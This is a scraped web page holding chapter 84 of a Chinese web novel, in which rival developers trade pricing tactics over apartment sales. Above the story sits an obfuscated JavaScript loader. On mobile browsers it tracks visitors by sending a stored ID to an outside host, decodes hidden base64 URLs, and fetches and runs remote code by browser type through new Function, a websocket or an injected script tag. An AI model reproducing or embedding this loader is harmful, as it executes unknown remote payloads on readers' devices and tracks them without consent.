足迹
南国红豆
登录
关灯
护眼
字体:

第八十四章 针锋相对(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

一个月后,清晨。

摩雨尘两兄妹来到了售楼部,正坐在办公室里面喝着茶,心情颇为不错。

这时有一名身穿藏青色职业装的中年男人走了进来,是摩雨尘售楼部的销售总监。

说道:

“摩总,这一个月里,我们的非端头板房卖的很好,这次一共拿出来了位置稍偏的五栋楼,快要卖完了。”

说着递给摩雨尘一张报表,静等着摩雨尘表态。

摩雨尘一只手摩挲着杯子,也不去看报表,说道:

“张若林他们那边的情况怎么样了?”

中年男人答道:

“房管那边的月统计显示,罗氏的楼盘,大户型卖得还可以,只不过像是快要卖完了,只有小户型依旧卖不动。”

“哈哈,小户型客户都被临龙小区给抢走了,真不知道他们这个月是怎么熬过来的。”

摩雨尘继续问道:

“统计部门那边的数据搞过来没有?”

中年男人答道:

“搞过来了,数据显示龙市南区这一片的刚需客户还有三成左右没有出手,而改善性住房客户,有八成还没有出手。”

“咱们这次放出去的可供挑选的户型不多,所以一部分比较有实力的还在观望。”

“董事长控楼的部分,才是最好的房源。咱们是不是可以多开放一些了?”

摩雨尘答道:

“这样,从今天中午开始,将价格恢复到备案价水平,……。算了,下一点点吧,这样好看一些。”

中年男人心领神会。

备案价是在定价之前,由房管部门结合大数据来确定的一个限价,说实话,这个限价也不低,至于怎么搞出来的,很难解释清楚。

但对于摩雨尘来说,只要不触碰到底线的话,就可以拉升价格了。

果然销售总监将新政策传达销售员以后,早上又起了一波订房的小高潮。

因为早上不出手,那下午就要涨价了。

虽然下午放出来的都是端头或者近主路和商业的房子,价格自然会好一些,但大家也怕原来的跟着上去。

早点锁定总归是没错的。

这边。

张若林和罗冉亦是早早来到了售楼部,两人的神色却是没有那么轻松。

因为今天下午,他们也要实施新的计划,而这个计划已经准备了一个月。

这一个月里,简豁钟带着销售小组的人,专门做了一次摸底调查,只要是有意向想买大户型的客户,只要是登记过看房的客户。

基本都得到了一对一的电话拜访,而且在龙市的都得到了上门拜访。

至于为什么要这么做,那是因为林冉公司在为新的宣传方案做着铺垫和调整。

中午时间,很快就过去。

张若林和罗冉继续坐在办事里面,这时简豁钟从门外走了进来。

说道:

“张总,罗总!咱们安排出去的五辆贵宾车已经在往这边来了,每一辆车的入座率接近百分之百,另外您让我准备的八套样板房也准备好了。”

张若林高兴地说道:

“那好!就让大家打起精神来,咱们大干一场。”

“对了简经理,奥氏资本那边现在的情况怎么样?”

简豁钟笑意盈盈地答道:

“那边传来消息,中午开始,他们将会发售房控房,都是位置不错的大户型。而且价格将会上涨两千左右,涨价之前,上午卖了不少。”

张若林点了点头,说道:

“好,你要记住了,咱们的控房先不要动,留到最后等奥氏资本的现房出来了,咱们在出手。”

简豁钟点了点头,便是走出去下了楼,等待着贵宾车的到来。

两点半的时候,摩雨尘意志满满的从售楼部向下俯视,尽管涨价后的新政策已经被铺开,但依旧有不人前来看房。

说道:

“雨瑶,只要咱们坚持一周时间,售出数据不下滑的话,那么咱们的价格体系就能够稳稳当当了。”

“做生意,其实打得是心理战,而这对象嘛,从来都不是竞争对手,而是客户。”